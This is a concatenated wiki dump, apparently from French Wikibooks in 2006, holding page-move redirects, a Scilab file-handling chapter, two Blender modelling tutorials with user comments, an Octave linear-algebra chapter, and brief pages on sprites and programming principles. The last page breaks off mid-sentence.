Nicombo 684 [[Pizza au fromage gorgonzola]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Pizza au fromage gorgonzola]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Pizza au fromage gorgonzola]] Cuisine:Pizza végétalienne 8835 46186 2006-06-28T03:19:09Z Nicombo 684 [[Cuisine:Pizza végétalienne]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Pizza végétalienne]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Pizza végétalienne]] Cuisine:Pizza aux poivrons 8836 46188 2006-06-28T03:21:01Z Nicombo 684 [[Cuisine:Pizza aux poivrons]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Pizza aux poivrons 2]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Pizza aux poivrons 2]] Cuisine:Pizza au tofu et aux champignons 8837 46190 2006-06-28T03:21:18Z Nicombo 684 [[Cuisine:Pizza au tofu et aux champignons]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Pizza au tofu et aux champignons]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Pizza au tofu et aux champignons]] Cuisine:Pizza Calzone aux aubergines 8838 46192 2006-06-28T03:21:28Z Nicombo 684 [[Cuisine:Pizza Calzone aux aubergines]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Pizza Calzone aux aubergines]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Pizza Calzone aux aubergines]] Cuisine:Pizza aux poivrons et au pesto 8839 46194 2006-06-28T03:21:41Z Nicombo 684 [[Cuisine:Pizza aux poivrons et au pesto]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Pizza aux poivrons et au pesto]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Pizza aux poivrons et au pesto]] Découvrir Scilab Gestion des fichiers 8840 46359 2006-06-28T14:15:57Z Cdang 1202 /* Sons */ notation {{Scilab}} <br /> <big><big><big>7. Gestion de fichiers</big></big></big> ---- Nous avons vu précédemment que l'on pouvait définir une fonction ou un programme dans un fichier texte, puis appeler ce fichier texte avec l'instruction <code>exec</code>, ce qui avait le même effet que taper la fonction ou le programme (voir ''[[Découvrir Scilab Programmation|Programmation]]''). Mais Scilab possède aussi d'autre possibilités de gestion de fichier. == Export et import de résultat == Il est possible d'exporter le résultat d'un calcul dans un fichier, ce qui permet de le réutiliser pour une autre fois. Ceci se fait avec la commande <code><font id="save1">save</font></code> : save(<nowiki>'</nowiki>''nom_de_fichier''<nowiki>'</nowiki>) enregistre le contenu de toutes les variables dans le fichier dont le chemin d'acès et le nom sont dans la chaîne ''nom_de_fichier''. Si l'on ne veut exporter qu'une seule variable ''x'', il faut entrer save(<nowiki>'</nowiki>''nom_de_fichier''<nowiki>'</nowiki>, x) On peut exporter plusieurs variables ''x''1, ''x''2, ..., ''xn'' en tapant save(<nowiki>'</nowiki>''nom_de_fichier''<nowiki>'</nowiki>, x1, x2, ..., xn) Ce résultat peut ensuite être réimporté avec la commande <code><font id="load1">load</font><:code> : load(<nowiki>'</nowiki>''nom_de_fichier''<nowiki>'</nowiki>) on peut sélectionner quelement quelques variables du fichier, par exemple : load(<nowiki>'</nowiki>''nom_de_fichier''<nowiki>'</nowiki>, x1, x2) Le fichier produit est un fichier binaire. Chaque variable est représentée par : * le nom de la variable, sur 24 octets : ** chaque caractère correspond à un code : 10 à 35 pour les minuscules de « a » à « z », -35 à -10 pour les capitales de « Z » à « A » ; taper <code><font id="str2code1">str2code(<nowiki>'</nowiki>''chaine''<nowiki>'</nowiki>)</font></code> pour avoir la suite de codes correspondant à la chaîne ''chaine'' ; ** le nom se termine par le code 40 ; * un code représentant le type de la variable : de 1 pour une matrice de réels en virgule flottante ), 2 pour un polynôme, 10 pour un chaîne de caractères… taper <code><font id="type1">type(''X'')</font></code> pour avoir le code du type de la variable ''X'' ; * puis suit la description de la variable, notamment le nombre d'éléments pour les matrices, chaînes… cette description dépend du type de la variable ; * enfin vient la valeur de la variable. L'instruction <code><font id="listvarinfile1">listvarinfile(<nowiki>'</nowiki>''nom_de_fichier''<nowiki>'</nowiki>))</font></code> permet d'avoir la liste des variable contenues dans un fichier et leur description. == Cas particuliers == === Sons === Lorsque la variable ''x'' est un vecteur, on peut le sauvegarder sous la forme d'un <font id="son2">son</font>, dans un fichier de type <font id="wav1">.WAV</font>. Le son correspond à des varations de pression de l'air, ou des variations de la tension d'alimentation du haut-parleur, ''s'' de la forme : ''s''(''t<sub>i</sub>''&thinsp;) = ''x''(''i''&thinsp;) avec : ''t<sub>i</sub>''&thinsp; = ''i''/ƒ ƒ étant la fréquence d'échantillonage. Par défaut, ƒ vaut 22050 hertz (une valeur de ''x'' correspond à 1/22050 seconde). La création du fichier se fait avec la fonction <code><font id="savewave1">savewave</font></code> savewave(<nowiki>'</nowiki>''nom_de_fichier''<nowiki>'</nowiki>, x) on peut aussi définir une autre fréquence d'échantillonnage entière : savewave(<nowiki>'</nowiki>''nom_de_fichier''<nowiki>'</nowiki>, x, f) Un fichier .WAV peut être mis dans une matrice avec la fonction <code><font id="loadwave1">loadwave</font></code> : x=loadwave(<nowiki>'</nowiki>''nom_de_fichier''<nowiki>'</nowiki>) chaque ligne de la matrice correspondant alors à un canal. On peut ensuite jouer ce son dans Scilab avec l'instruction <code><font id="playsnd1">playsnd</font></code> playsnd(x) ''Voir aussi [[Découvrir Scilab Graphiques et sons#son1|Graphiques et sons]].'' == Voir aussi == ; Dans Wikipédia * [[w:Fichier binaire|Fichier binaire]] * [[w:WAVEform audio format|WAVEform audio format]] <!-- == Notes == <references /> --> ---- ''[[Découvrir Scilab Environnement|Environnement]]'' &lt; [[Découvrir Scilab|↑]] &gt; ''[[Découvrir Scilab Index|Index]]'' Découvrir Scilab Graphiques 8841 46363 2006-06-28T14:18:53Z Cdang 1202 blanchi pour suppression : page déplacée vers [[Découvrir Scilab Graphiques et sons]] Manuel de philosophie (terminale) 8842 46366 2006-06-28T14:31:39Z Guillaumito 46 [[Manuel de philosophie (terminale)]] déplacé vers [[Philosophie/Manuel de terminale]]: Convention de nommage #REDIRECT [[Philosophie/Manuel de terminale]] Introduction générale à la philosophie 8844 46370 2006-06-28T14:32:58Z Guillaumito 46 [[Introduction générale à la philosophie]] déplacé vers [[Philosophie/Introduction générale]]: Convention de nommage #REDIRECT [[Philosophie/Introduction générale]] Blaise Pascal 8846 46374 2006-06-28T14:36:54Z Guillaumito 46 [[Blaise Pascal]] déplacé vers [[Philosophie/Blaise Pascal]]: Convention de nommage #REDIRECT [[Philosophie/Blaise Pascal]] Commentaire du passage à propos de l'Homme esclave du divertissement 8847 46376 2006-06-28T14:37:28Z Guillaumito 46 [[Commentaire du passage à propos de l'Homme esclave du divertissement]] déplacé vers [[Philosophie/Commentaire du passage à propos de l'Homme esclave du divertissement]]: Convention de nommage #REDIRECT [[Philosophie/Commentaire du passage à propos de l'Homme esclave du divertissement]] Commentaire du passage à propos des deux infinis 8848 46378 2006-06-28T14:37:44Z Guillaumito 46 [[Commentaire du passage à propos des deux infinis]] déplacé vers [[Philosophie/Commentaire du passage à propos des deux infinis]]: Convention de nommage #REDIRECT [[Philosophie/Commentaire du passage à propos des deux infinis]] Système de noms de domaine Le modèle hiérarchique 8852 46457 2006-06-29T10:34:56Z Greudin 1 [[Système de noms de domaine Le modèle hiérarchique]] déplacé vers [[Système de noms de domaine/Le modèle hiérarchique]]: titre/chapitre #REDIRECT [[Système de noms de domaine/Le modèle hiérarchique]] Système de noms de domaine Introduction 8853 46459 2006-06-29T10:38:44Z Greudin 1 [[Système de noms de domaine Introduction]] déplacé vers [[Système de noms de domaine/Introduction]]: titre/chapitre #REDIRECT [[Système de noms de domaine/Introduction]] Système de noms de domaine:Mise en oeuvre 8854 46465 2006-06-29T11:09:20Z Greudin 1 [[Système de noms de domaine:Mise en oeuvre]] déplacé vers [[Système de noms de domaine/Mise en oeuvre]]: titre/chapitre #REDIRECT [[Système de noms de domaine/Mise en oeuvre]] Blender 3D: du débutant au pro/Convertir un cube en chiot 8855 46466 2006-06-29T11:30:13Z 194.250.213.130 ''Next Page: [[Blender 3D: Noob to Pro/Modeling a Gingerbread Man|Modeling a Gingerbread Man]]''<br /> <small>''Previous Page: [[Blender 3D: Noob to Pro/Mountains Out Of Molehills|Mountains Out Of Molehills]]''</small> As of now, we have one picture. So, if you have a puppy and a digital camera, please take three pictures of the cute little rascal, upload them to Imageshack, or your favorite image repository, and I will check back occasionally and will make whatever modifications are needed to the images to make them work for this tutorial (which will also be documented here.) Ideally, the photos will be looking straight down at the top of the puppy, a side view, and a front view, and, most importantly, the puppy should be in the same pose in all three photos! Or at least close to the same pose...we all know puppies don't stand still very long. You could use two mirrors. One is placed next to the puppy at 45 degrees to the camera and 45 degrees to the puppy. Another is placed above the puppy, also at 45 degrees to the camera and 45 degrees to the puppy. This produces three images, one of the puppy ('''NUM1'''), one of its reflection seen 90 degrees to the right ('''NUM3'''), and one of its reflection seen from overhead ('''NUM7'''). Take the photo from a long distance away with a zoom lens to get close to an orthographic projection. Or how about a toy wolf taken from 6 views: [http://img51.imageshack.us/my.php?image=10011325wu.jpg Left view] [http://img162.imageshack.us/my.php?image=10011337aj.jpg Right view] [http://img107.imageshack.us/my.php?image=10011347fw.jpg Front view] [http://img107.imageshack.us/my.php?image=10011350gu.jpg Back view] [http://img162.imageshack.us/my.php?image=10011363ql.jpg Bottom view] [http://img119.imageshack.us/my.php?image=10011375bc.jpg Top view] Using your favorite image editor such as PhotoShop or the GIMP, the images need to be down-scaled to a reasonable size (I made mine 512x384), and then matched to each other. To match them, draw construction lines (pulled from the rulers above and to the left) on the left view for example to pick out key features. I picked the tail, back of back foot, eye level, tip of the ear, front of the nose: [[Image:Toywolf-construction-left.jpg]] I found when I picked out these features that this first image needed to be rotated slightly. That completed, I proceeded to scale, rotate and shift the other two views (top and front) until they matched fairly well as layers on top: [[Image:Toywolf-construction-top.jpg]] [[Image:Toywolf-construction-front.jpg]] Once I had the proper results, I saved the resulting images, and these are the ones we will use in Blender. The results are the files you'll need for Step One: [[Image:Toywolf-left.jpg]] [[Image:Toywolf-top.jpg]] [[Image:Toywolf-front.jpg]] Just right-click and save them some place where you can find them to load them into Blender for Step One. ---- <font size=3>'''Step One: Get the Picture into Blender'''</font> [[Image:Blenderpuppy2fh.jpg]] In a new Blender file, click '''View''' in the taskbar at the bottom of the 3D view window. Now click '''Background Image'''. A window should pop up in the 3D view. Click '''Use Background Image''' and then click the small file image. From here, browse the puppy image that is supposedly saved to your computer. Now, the image should be seen whenever you are in Orthographic Front ('''NUM1'''), Side ('''NUM3'''), or Top ('''NUM7''') (or the inverse of them by pressing '''Ctrl''' + '''NUM1''', '''NUM3''', or '''NUM7'''). At any rate, until we get the puppy photos, here's a spline drawing tip that noobies should be aware of: in Edit Mode, '''Control+LMB''' adds a vertex, and, if another vertex was selected, will add an edge from the selected vertex to the new vertex. You can use this method to draw connected line segments, pretty much where ever you want them, and can later turn the segments into surfaces by selecting three or four vertices at a time, and pressing '''f-key''' to make a (triangular or quadrangular) face. This can be immensely frustrating, since there is no way to get into Edit Mode without creating an object, and there is no Object Mode command to create a single vertex (at least, none I know of.) [Okay, i've been looking around some other tutorials for Blender 3D and I found out how to create one vertex. While in edit mode, hold down '''Ctrl''' and then click your '''LMB'''. This will create a vertex and you can keep doing this to create segments.] So, how do you start? Here's the tip: create a cube '''(space -> add -> mesh -> cube)''', enter Edit Mode, then select all the vertices but one and delete them. This leaves a single vertex, and from there you can create line segments to your heart's content. Make sure to select the single vertex before you start drawing segments, though. To line the new endpoints up in three dimensions, open three view windows, put one in top view, one in side view, and the third in front view. (If you have a reference photo in the background, make sure to use orthagonal views rather than perspective views; the image won't show up in perspective views, nor in camera or user views.) Position the 3d cursor in two of the views with a '''LMB''' click, then move to the third view and place the vertex with a '''Control+LMB''' click. (By the way, that's what we're going to use the puppy photos for: to let us know where to position the cursor in each of those views, so when we make surfaces they will be Puppy Surfaces! YAY!) Please, add on... (user comment) I am using v. 2.41 and it seems that the provided top view of the wolf toy is off by 90 degrees as a background image (that is, it has the wolf's nose to the right, but all my points in 3D according to the other two views would have his nose to the top). Am I out of my mind or doing something noobishly foolish? In the meantime I've manually rotated the image and continued on my merry way. (user comment) I was doing this tutorial and though I´m still a noob at this I thought I could contribute a little to this. I decided only to do half a wolf and then mirror it to create a complete wolf. I started out with creating the silhuette of the wolf body in the side view, and then in front view I started to shape the wolf head, tail and legs... [[Image:Wolf building side.jpg]] [[Image:Wolf building front.jpg]] And at any rate this is what I ended up with. Not the best wolf ever, but as I said before I´m still pretty nooblish. [[Image:Wolf finished.jpg]] ''' (user comment) '''I too was doing this tutorial when I realized the pictures were a bit off. So I decided to do my own photos of my own object. However this turned out to be more difficult then I thought at first. While taking your own photos be aware of several things. The camera you are using has to have its lens ''' parallel ''' to the object you are taking a picture of. Also when you take the 3 different photos (front, side, top) or even more you need to keep the camera the exact ''' same distance ''' from the object as well as the exact ''' same zoom '''on the lens for all your pictures. Once you have your photos, rather then lining up key points in the photos you should center your object in the center of the photo. From this point forward there are multiple ways to do the exact same thing, however for simplicities sake and so that I can be more detailed I will be using one method (the one which I use) and be using GIMP. I found it best to size all the photos to a known width, with an easy to find center. (Mine happened to be 850x638 pixels, I don’t recommend that but you can choose any size you want really, as long as all of them are the same size). Then drag the construction lines to form a crosshair in the middle of the photo. To do this, click on the top ruler, and drag down to the middle (Exact middle) of the photo, then click on the side ruler and drag across to the middle (Again exact middle) of the photo. If you are having troubles finding the exact middle of the photo, move the cursor to the very bottom left of your photo and the height of your photo will be listed at the bottom left of the GIMP interface. The numbers are listed in an (x,y) format so you want the first number to say 0 and the second to be the largest you can make it by dragging your cursor. The second number is the height, and half of that is the middle of your photo. You can do the same with the top ruler to find the vertical middle of your photo. Only this time the co-ordinates at the bottom left of the GIMP interface should list the second number (y) as 0, and the first number should be as large as you can make it by moving your cursor (to the upper right of the photo).Once you have your width again half of that will be the middle of your photo. Then using construction lines put one at the top of your object, and the bottom of your object. Find the "height" of your object by the distance between them. Remove the construction lines from the top and the bottom, and place a new construction line above the horizontal center line by the half of the "height"(of your object). Now place a construction line on both sides of your object and find the “width” (distance between the new vertical lines), then remove those construction lines and place a new construction line vertically half of the "width"(of your object) to the right of the vertical center line. Now cut the object out, and drag it so that the point you used as the "top" is on the horizontal construction line that is above the middle. Then Drag the photo left or right until the right edge of the object is on the vertical construction line you put in right of the middle construction line. Now the center of your object is at the center of your photo. This is a very important thing because when blender loads in the picture you will need this so that all of your pictures match up with each other 3d. You should repeat these steps with all 3 photos. I also dont recommend doing it in GIMP's "layered mode" as that caused more pandamoneom for me. I recommend opening each photo in a new window . Taking your pictures is the most important part, because if the pictures are not all in the same scale (object size to photo size) then your photos wont line up and you wont be able to place a dot on the same location from front view, side view, and top view. As a recommendation I would recommend making your first model off from a Lego man. That is what I did and it is very simplistic easy practice. To take my photos I took about 10 minutes to construct a photo platform for my object. It consisted of a cardboard box with two sides cut out. The inside area covered with computer paper. I then used a 2”x4” and a ruler to make sure that the box stayed the same distance from the camera for all shots, as well as marking where the Lego man’s feet were positioned inside the box with a pencil. This will provide good pictures providing you keep the camera at the same distance and zoom for all three photos. ''Next Page: [[Blender 3D: Noob to Pro/Modeling a Gingerbread Man|Modeling a Gingerbread Man]]''<br /> <small>''Previous Page: [[Blender 3D: Noob to Pro/Mountains Out Of Molehills|Mountains Out Of Molehills]]''</small> <!-- This area is for the original links to images that were on this page, but were downloaded then uploaded by stormy so that they can be embedded into the wiki page itself. [http://img278.imageshack.us/img278/6213/puppy1bl.jpg Original image] [http://img273.imageshack.us/img273/6816/blenderpuppy2fh.jpg Background image in Blender] --> [[Category:Blender]] Système de noms de domaine Extensions 8856 46468 2006-06-29T11:31:15Z Greudin 1 [[Système de noms de domaine Extensions]] déplacé vers [[Système de noms de domaine/Extensions]]: titre/chapitre #REDIRECT [[Système de noms de domaine/Extensions]] Blender 3D: du débutant au pro/Modéliser un bonhomme en pain d'épice 8857 46469 2006-06-29T11:31:56Z 194.250.213.130 [[Image:Example.jpg]]''Next Page: [[Blender 3D: Noob to Pro/Penguins from spheres|Penguins from spheres]]''<br /> <small>''Previous Page: [[Blender 3D: Noob to Pro/Turning a Cube into a Puppy|Turning a Cube into a Puppy]]''</small> In this tutorial you will learn how to make a simple gingerbread man. In a later tutorial you will be able to make an animation with this gingerbread man. In this tutorial we will tie together everything we've talked about up to this point, including extruding, subdividing and rendering, and throw in basic lighting. == Modelling == First, start Blender and zoom in until you can see everything (scroll with the '''MMB''' or press '''CTRL+MMB'''). * Select the cube by clicking '''RMB''' on it. To review, when an object is a pinkish color, it is selected. * Now press '''TAB'''. When you press '''TAB''' it will switch you between Object Mode and Edit Mode. If you pressed '''TAB''' you will see pinkish dots. The pink dots are called vertices. (You will know if you are in Edit Mode if you can see those dots.) When you select vertices with the '''RMB''', they will turn yellow. * Select all the vertices ('''AKEY''' once or twice) and then click on the editing tab [[Image:editing.gif]] in the header of the buttons window (or you can just press '''F9''') to go to editing. [[Image:BlenderCubeEdit.png]] * Once you are there you will see a new menu at the bottom of the page, click on the subdivide button in the section called Mesh Tools (while all the vertices are selected). You will see that your cube now has more vertices. This tool is used for '''dividing''' an object so that you can do more complex models. [[Image:BlenderSubdividedCube.png]] * Now press '''AKEY''' to unselect all the vertices, go to the front view ('''NUM1''') and press '''BKEY''' and drag a square around the top left and middle left vertices or press '''BKEY''' twice and you will see a circle around your mouse - all the vertices in the circle will be selected by pushing '''LMB'''. [[Image:Blender3D-Noob-To-Pro-GingerBreadManSelectedFaces3D.png]] * Take a closer look on the selected vertices by viewing the model from a different angle. If you find that you have only selected two vertices and not six, there are 2 ways of solving your problem.[[Image:Blender3D-Noob-To-Pro-SelectionModesInSolidMode.png|right]] You could hit the '''ZKEY''' to toggle between wireframe mode and solid mode or you could hit (and deactivate) the [[Image:LimitSelectionToVisible.png]] Button in the selection mode buttons (''note that this button is shown only if you're in solid mode''). Repeat the previous step and see the difference. * After selecting the 6 vertices press '''EKEY''' and select Region. This will extrude the selected vertices. Put the new vertices on the adjacent gray line of the grid one unit to the left (press '''CTRL''' to snap to grid). Do this two times so that it looks like this. [[Image:ExtrudedCube1.png]] * Now select the other two vertices (six in 3D again) on the opposite side and do the same there. Now the arms are complete, as you can see in the illustration below. [[Image:ExtrudedCube2.png]] [[Image:Blender3D-Noob-To-Pro-GingerBreadManExtrudedCube3D.png]] Now we will do the legs. * First, unselect all the vertices. * Select the bottom left two vertices, extrude it and put them in between the gray line (the gray lines in the grid representing the Blender units) and the second gray line below. If holding down '''CTRL''' you will notice that the two vertices snap to the grid in the background and you won't be able to select in between them, but jump between one and two of them. Press '''SHIFT''' as well and you'll be able to go in tenths of the units. (You can also just enter the number 1.5 to extrude it 1 1/2 units out.) * Extrude it again and put it on the third gray line (or, once again, enter 1.5). It should now look like this: [[Image:BlenderExtrudedLeg.png]] * Use the '''BKEY''' to select the bottom 4 vertices (12 in 3D) of the leg, and use the '''GKEY''' to pull it out to the left by half a square so that it looks like this [[Image:Oneleg-ginger.png]] [[Image:Blender3D-Noob-To-Pro-GingerBreadManOneLegGinger3D2.png]] * Do this again for the right leg. [[Image:twoleg-ginger.png]] * Use '''BKEY''' to select the vertices at the groin (where the two legs join) * press '''GKEY''' and pull it down by 1/2 a square (type '''GKEY''', '''ZKEY''' and write -0.5 - in older version you have to type type '''GKEY''', '''ZKEY''' but also '''NKEY''' and write -0.5 then) ''(I had some problems here, trying to move the vertices. There were too many vertices in the same place, and that creates strange forms. To erase the duplicate vertices on top of each other, you can either select the entire model, or just the vertices you want to clean. Then press '''WKEY''' and choose Remove Doubles.)'' [[Image:twoleg-ginger-pulled.png]] [[Image:Blender3D-Noob-To-Pro-GingerBreadMan2LegPulled.png]] * Press '''TAB''' to go out of edit mode (you will know if you are out of edit mode if the vertices are not visible). You are now in object mode. * Click '''RMB''' on the object to select it then press '''SHIFT''' '''SKEY''' and select Cursor-> Selection. This will make sure the cube you'll add next will be near where you want it. * Press '''SPACE''' and put your mouse on the mesh option and select cube. * Press '''GKEY''' and put your new cube about 1/3 of the way down the neck. [[Image:twoleg-ginger-head.png]] Now we will make it look more like a ginger bread man by making it thinner. * Go to side view with '''NUM3'''. * Press '''SKEY''' for scale and press '''YKEY''' for '''y''' axis and then move your mouse to the middle until the it is about 0.3 (use '''CTRL''' for fixed values). * Remember '''x''' axis is the red arrow/line, '''y''' is the green one, and '''z''' is blue. [[image:ginger-zscale-head.png]] * Then right click on the body and press '''SKEY''' and then '''YKEY''' and make it as flat as the head. [[image:ginger-zscale.png]] * Use the '''MMB''' to spin the view around and examine your handiwork. At this point, it doesn't look entirely like a gingerbread man, does it? It's a bit too ... chunky. For the last bit, we'll smooth it out. * Make sure you're in object mode, and select the body. * Press '''TAB''' to switch to edit mode and press '''AKEY''' until you have selected all verticies. * Select the editing panel in the buttons window (or hit '''F9'''). * In the Modifiers tab, Add a "subsurf" modifier * Set the level of the subdivisions to 2, and the number of render levels to 3. * You can press the '''ZKEY''' to switch back and forth between wire-frame view and solid view. * In the 'link and materials' section, select 'set smooth'. ''(Note that here I had the same problem as before, with superposed vertices. press '''WKEY''' and select Remove Doubles to clean your model. You will see that it will look much better after removing the extra vertices with Remove Doubles)'' [[image:ginger-smoothbody.png]] * Press '''TAB''' to return to object mode, and select the head. * Press the '''ZKEY''' to return to wire-frame view. * Now repeat the process above to smooth the head. [[image:ginger-smoothall.png]] Looks a lot more like a gingerbread man, now, doesn't it? == Camera Positioning and Rendering == This guide will show you how to intuitively get the best shot of your 3D scene with no effort * Press '''TAB''' for Object view mode * Press '''NUM0''' to get the Camera View * Select the camera by clicking '''RMB''' on the outermost square * Press '''GKEY''' and move your mouse to adjust the position of the camera ('''XKEY''', '''YKEY''', '''ZKEY''' and '''CTRL''' may be useful here) * In addition, you can press '''NUM7''' to get the Top View and press '''RKEY''' to rotate the camera to the best angle * After you are happy with the position, press '''F12''' to render it [[Image:BlenderGingerRender.png]] ''Next Page: [[Blender 3D: Noob to Pro/Penguins from spheres|Penguins from spheres]]''<br /> <small>''Previous Page: [[Blender 3D: Noob to Pro/Turning a Cube into a Puppy|Turning a Cube into a Puppy]]''</small> [[Category:Blender]] Système de noms de domaine Conclusion 8858 46471 2006-06-29T11:40:40Z Greudin 1 [[Système de noms de domaine Conclusion]] déplacé vers [[Système de noms de domaine/Conclusion]]: titre/chap #REDIRECT [[Système de noms de domaine/Conclusion]] Programmation Octave 8860 47162 2006-07-03T07:26:28Z Alveric 1610 orthographe, ponctuation '''Octave''' est à la fois un langage interpreté et un logiciel de calcul numérique distribué sous licence [[w:Licence publique générale GNU|GPL]]. Le language [[w:GNU Octave|Octave]] est compatible avec [[w:Matlab|Matlab]]. *[http://www.gnu.org/software/octave/ Site officiel] == Résoudre un Système d'équations linéaires == Durant tout ce chapitre, nous utiliserons comme exemple la résolution du [[w:Système d'équations linéaires|système]] suivant: :<math>\left\{\begin{matrix} 2x_1+3x_2-x_3=-1 \\ x_1 - x_2 + 3x_3 = 4 \\2x_1-3x_2+x_3=3 \end{matrix}\right.</math> ou, sous forme matricielle: :<math>A \cdot x = b \;</math> === Définir un vecteur=== Nous voulons définir le vecteur: <math>b =\begin{pmatrix}-1 \\ 4 \\ 3\end{pmatrix}</math> Pour cela il faut entrer: octave> b = [-1 ; 4 ; 3] b = -1 4 3 ou octave> b = [-1 4 3]' b = -1 4 3 L'opérateur " ' " transpose un vecteur ou une matrice, on crée un vecteur ligne et on le transpose. Il faut noter qu'on peut aussi définir un vecteur par une suite : octave:> x = 1:4 x = 1 2 3 4 octave> y = 10:-2:4 y = 10 8 6 4 Et, si on ajoute "'';''" à la fin de la ligne, Octave n'affiche pas le resultat. === Définir une matrice === Pour définir une [[w:Matrice (mathématiques)|matrice]], on procède comme pour le vecteur: octave> A = [2 3 -1; 1 -1 3; 2 -1 3] A = 2 3 -1 1 -1 3 2 -1 3 On peut aussi modifier une matrice ou un vecteur composante par composante: octave> A(2,2) = -10 A = 2 3 -1 1 -10 3 2 -1 3 === Résoudre le système === L'opérateur habituel pour résoudre un sytème linéaire est "\" : octave> x = A\b x = -1 1 2 On peut verifier que <math>A \cdot x = b</math> : octave> b2 = A*x b2 = -1 4 3 === Décomposition LU === Avant de résoudre le système, on peut décomposer la matrice avec la [[w:Décomposition LU|décomposition LU]]: octave> [L,U]= lu(A) L = 1.00000 0.00000 0.00000 0.50000 0.62500 1.00000 1.00000 1.00000 0.00000 U = 2 3 -1 0 -4 4 0 0 1 puis : octave> y = L\b y = -1 4 2 octave> x = U\y x = -1 1 2 == Algèbre linéaire == === Opérations sur les matrices === Nous avons déja vu que nous pouvions multiplier des matrices et caluler leurs transposées. Mais Octave permet aussi de les élever à une puissance : octave> A = [-1 2;2 0] A = -1 2 2 0 octave>B = A^4 B = 29 -18 -18 20 On peut aussi, grâce à la commande "''exp()''", calculer l'exponentielle de la matrice: octave> E = exp(A) E = 0.36788 7.38906 7.38906 1.00000 === Matrices particulières === Octave fournit plusieurs fonctions pour créer des matrices particulières. Pour créer une matrice nulle, il faut se servir de la fonction "''zeros''": octave> null = zeros(5, 3) null = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 La fonction "''eye''" crée une matrice identité. octave:13> I = eye(3) I = 1 0 0 0 1 0 0 0 1 La fonction "''diag()''" crée des matrices diagonales, sur-diagonales ou sous-diagonales à partir d'un vecteur: octave>A = diag([1 2 3],0) A = 1 0 0 0 2 0 0 0 3 octave>A = diag([1 2 3],2) A = 0 0 1 0 0 0 0 0 2 0 0 0 0 0 3 0 0 0 0 0 0 0 0 0 0 octave>A= diag([1 2 3],-1) A = 0 0 0 0 1 0 0 0 0 2 0 0 0 0 3 0 La fonction "''rand()''" crée une matrice dont les coefficients sont des nombres choisis aléatoirement entre 0 et 1: octave> rand(2,3) ans = 0.871644 0.651894 0.563654 0.076660 0.790505 0.275381 === Calcul du derterminant === Pour calculer un [[w:Déterminant (mathématiques)|determinant]] il suffit d'utiliser la commande "''det()''": octave> A = [1 -1 3; 4 -3 1; 2 -3 1] A = 1 -1 3 4 -3 1 2 -3 1 octave> d = det(A) d = -16 [[catégorie:Mathématiques|Octave]] [[catégorie:Informatique|Octave]] Octave 8861 46589 2006-06-30T05:28:04Z 83.219.107.124 Redirecting to [[Programmation Octave]] #REDIRECT [[Programmation Octave]] Procoles et couches 8862 46607 2006-06-30T11:17:35Z Carnops 1287 {{wikimodule:Introduction aux réseaux}} {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Wikimodule:Introduction aux réseaux|Introduction aux réseaux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikilicence_informatique/Wikimodules|Wikilicence d'informatique]]'' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikiversité:Département informatique|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Wikilicence d'informatique]] |- | bgcolor="#E0E0F0" align="center" |''' Wikimodule''' |- | bgcolor="white" | *<small>[[Wikimodule:Introduction aux réseaux|Présentation]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Programme|Programme]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Contenu|Contenu]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Ressources|Les ressources du module]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Wikitudiants|Liste des Wikitudiants<br/>du module ]]</small> |- | align="right" bgcolor="white" | |} ==Protocoles classés par couche== Modèle:Wikimodule:Introduction aux réseaux 8863 46611 2006-06-30T11:19:16Z Carnops 1287 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Wikimodule:Introduction aux réseaux|Introduction aux réseaux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikilicence_informatique/Wikimodules|Wikilicence d'informatique]]'' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikiversité:Département informatique|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Wikilicence d'informatique]] |- | bgcolor="#E0E0F0" align="center" |''' Wikimodule''' |- | bgcolor="white" | *<small>[[Wikimodule:Introduction aux réseaux|Présentation]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Programme|Programme]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Contenu|Contenu]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Ressources|Les ressources du module]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Wikitudiants|Liste des Wikitudiants<br/>du module ]]</small> |- | align="right" bgcolor="white" | |} Sprite 8866 46622 2006-06-30T14:23:45Z 86.205.222.200 notion d'affichage Un sprite est une image n'apparaissant à l'écran qu'en deux dimensions. On peut voir des sprites dans des jeux vidéos en deux dimensions, comme des soldats dans un jeu de stratégie, et même dans des jeux en trois dimensions, comme dans Doom 1, où les ennemis sont tous des sprites. Dans les jeux plus récents, les objets et ennemis sont des modèles tridimensionnels. Le choix de sprites au lieu de modèles tridimensionnels est dû initialement à la facilité de faire un personnage animé en dessinant une suite d'images, plutôt que d'animer un modèle en 3D, mais aussi pour des raisons de rapidité d'affichage (vieux jeux vidéo). Programmation Principes 8868 46653 2006-07-01T17:28:52Z Ghazghouz 1694 Les principes de la programmation sont très simples : # Avoir un raisonnement logique (Oublier les mauvaises habitudes) # Ne jamais ignorer quelquechose même si elle vous parait évidente # Avoir le sang froid et le souffle (penser aux efforts des fourmis...) # Contrôler toujours les résultats trouvés (même s'ils sont prouvés ou déjà utilisés) # Commencer toujours par le plus simple (C'est ainsi que sont 